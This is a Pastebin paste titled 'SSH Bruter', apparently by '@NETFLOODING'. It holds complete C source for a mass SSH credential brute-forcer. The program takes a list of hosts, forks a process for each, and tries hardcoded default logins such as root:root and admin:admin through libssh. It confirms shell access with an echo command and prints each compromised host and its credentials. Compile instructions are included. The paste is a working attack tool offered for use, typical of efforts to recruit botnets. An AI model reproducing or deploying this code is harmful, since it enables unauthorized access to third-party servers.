Advertisement
sighting

SSH Bruter

Jan 1st, 2019
1,445
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 5.90 KB | None | 0 0
  1. /*MADE BY @NETFLOODING
  2. yum install libssh -y
  3.  
  4. compile: gcc -o bruter bruter.c -lssh
  5. compile with debug: gcc -o bruter bruter.c -lssh -DDEBUG
  6. */
  7. #include <stdio.h>
  8. #include <ctype.h>
  9. #include <stdlib.h>
  10. #include <string.h>
  11. #include <sys/types.h>
  12. #include <libssh/libssh.h>
  13.  
  14. char *estring = "snickers_iz_god";
  15. #define INFO "[\x1b[33m%s\x1b[37m]"
  16. #define ERROR "[\x1b[31m?\x1b[37m]"
  17. #define FAILED "[\x1b[31m%s\x1b[37m]"
  18. #define SUCCESS "[\x1b[32m+\x1b[37m]"
  19. char *combos[] = {"root:root", "root:admin", "root:password", "root:1234", "root:12345", "root:support", "admin:admin", "admin:1234", "admin:12345", "support:support"};
  20. #define combo_size (sizeof(combos) / sizeof(unsigned char *))
  21.  
  22. void Trim(char *str)
  23. {
  24. int i;
  25. int begin = 0;
  26. int end = strlen(str) - 1;
  27. while (isspace(str[begin])) begin++;
  28. while ((end >= begin) && isspace(str[end])) end--;
  29. for (i = begin; i <= end; i++) str[i - begin] = str[i];
  30. str[i - begin] = '\0';
  31. }
  32.  
  33. void free_channel(ssh_channel channel) {
  34. ssh_channel_send_eof(channel);
  35. ssh_channel_close(channel);
  36. ssh_channel_free(channel);
  37. }
  38.  
  39. void free_session(ssh_session session) {
  40. ssh_disconnect(session);
  41. ssh_free(session);
  42. }
  43.  
  44. void error(ssh_session session) {
  45. fprintf(stderr, "Error: %s\n", ssh_get_error(session));
  46. free_session(session);
  47. exit(-1);
  48. }
  49.  
  50. void brute(char *host, int port)
  51. {
  52. int rc;
  53. int Forks;
  54. int MaxForks;
  55. char *username;
  56. char combo[100];
  57. char password[30];
  58. int combo_num = 0;
  59. int statement = 0;
  60. char buffer[1024];
  61. ssh_session session;
  62. ssh_channel channel;
  63. unsigned int nbytes;
  64.  
  65. start:
  66. switch(statement)
  67. {
  68. case 0:
  69. {
  70. snprintf(combo, sizeof(combo), "%s", combos[combo_num]);
  71. username = strtok(combo, ":");
  72. snprintf(password, sizeof(password), "%s", username+strlen(username)+1);
  73. //printf(INFO" Trying combo -> %s:%s\n", host, username, password);
  74. #ifdef DEBUG
  75. printf(INFO" Creating secure shell session...\n", host);
  76. #endif
  77. session = ssh_new();
  78. if (session == NULL)
  79. {
  80. #ifdef DEBUG
  81. printf(FAILED" Failed to create secure shell session...\n", host);
  82. #endif
  83. goto end;
  84. }
  85.  
  86. ssh_options_set(session, SSH_OPTIONS_HOST, host);
  87. ssh_options_set(session, SSH_OPTIONS_PORT, &port);
  88. #ifdef DEBUG
  89. printf(INFO" Setting username -> \x1b[34m%s\x1b[37m\n", host, username);
  90. #endif
  91. ssh_options_set(session, SSH_OPTIONS_USER, username);
  92.  
  93. #ifdef DEBUG
  94. printf(INFO" Connecting...\n", host);
  95. #endif
  96. rc = ssh_connect(session);
  97. if (rc != SSH_OK)
  98. {
  99. //error(session);
  100. #ifdef DEBUG
  101. printf(FAILED" Failed to connect to host...\n", host);
  102. #endif
  103. goto end;
  104. }
  105.  
  106. #ifdef DEBUG
  107. //printf(INFO" Password Autentication...\n");
  108. printf(INFO" Sending password -> \x1b[35m%s\x1b[37m\n", host, password);
  109. #endif
  110. rc = ssh_userauth_password(session, NULL, password);
  111. if (rc != SSH_AUTH_SUCCESS)
  112. {
  113. //error(session);
  114. #ifdef DEBUG
  115. printf(FAILED" Incorrect credentials...\n", host);
  116. #endif
  117. if(combo_num == combo_size || combo_num > combo_size)
  118. goto end;
  119. else
  120. {
  121. combo_num++;
  122. goto start;
  123. }
  124. }
  125.  
  126. channel = ssh_channel_new(session);
  127. if (channel == NULL) exit(-1);
  128.  
  129. #ifdef DEBUG
  130. printf(INFO" Opening shell...\n", host);
  131. #endif
  132. rc = ssh_channel_open_session(channel);
  133. if (rc != SSH_OK)
  134. {
  135. //error(session);
  136. #ifdef DEBUG
  137. printf(FAILED" Failed to open shell...\n", host);
  138. #endif
  139. goto end;
  140. }
  141.  
  142. #ifdef DEBUG
  143. printf(INFO" Echo'ing success string for verification...\n", host);
  144. #endif
  145. char cmd[60];
  146. snprintf(cmd, sizeof(cmd), "echo '%s'", estring);
  147. rc = ssh_channel_request_exec(channel, cmd);
  148. if(rc != SSH_OK)
  149. {
  150. //error(session);
  151. #ifdef DEBUG
  152. printf(FAILED" Failed to send verification string...\n", host);
  153. #endif
  154. goto end;
  155. }
  156.  
  157. sleep(0.6);
  158. nbytes = ssh_channel_read(channel, buffer, sizeof(buffer), 0);
  159. while (nbytes > 0)
  160. {
  161. if(strstr(buffer, estring))
  162. {
  163. printf(SUCCESS" Bruted SSH -> %s:%d %s:%s\n", host, port, username, password);
  164. break;
  165. }
  166. nbytes = ssh_channel_read(channel, buffer, sizeof(buffer), 0);
  167. }
  168. }
  169. break;
  170. }
  171.  
  172. end:
  173. free_channel(channel);
  174. free_session(session);
  175. return;
  176. }
  177.  
  178. int main(int argc, char **argv)
  179. {
  180. int Forks;
  181. int MaxForks;
  182. char buf[512];
  183. if(argc > 4 || argc < 4)
  184. {
  185. printf(ERROR" Usage: %s <list> <port> <max forks>\n", argv[0]);
  186. exit(0);
  187. }
  188. FILE *srvlist = fopen(argv[1], "r");
  189. if(srvlist == NULL)
  190. {
  191. printf("[\x1b[31m-\x1b[37m] Failed to open given list (\x1b[33m%s\x1b[37m)\n", argv[1]);
  192. exit(0);
  193. }
  194. int port = atoi(argv[2]);
  195. MaxForks = atoi(argv[3]);
  196. while(fgets(buf, sizeof(buf) - 1, srvlist))
  197. {
  198. if(strlen(buf) < 3 || buf == NULL)
  199. break;
  200. Trim(buf);
  201. if(!(fork()))
  202. {
  203. brute(buf, port);
  204. exit(0);
  205. }
  206. else
  207. {
  208. sleep(0.2);
  209. continue;
  210. }
  211. }
  212. return 0;
  213. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement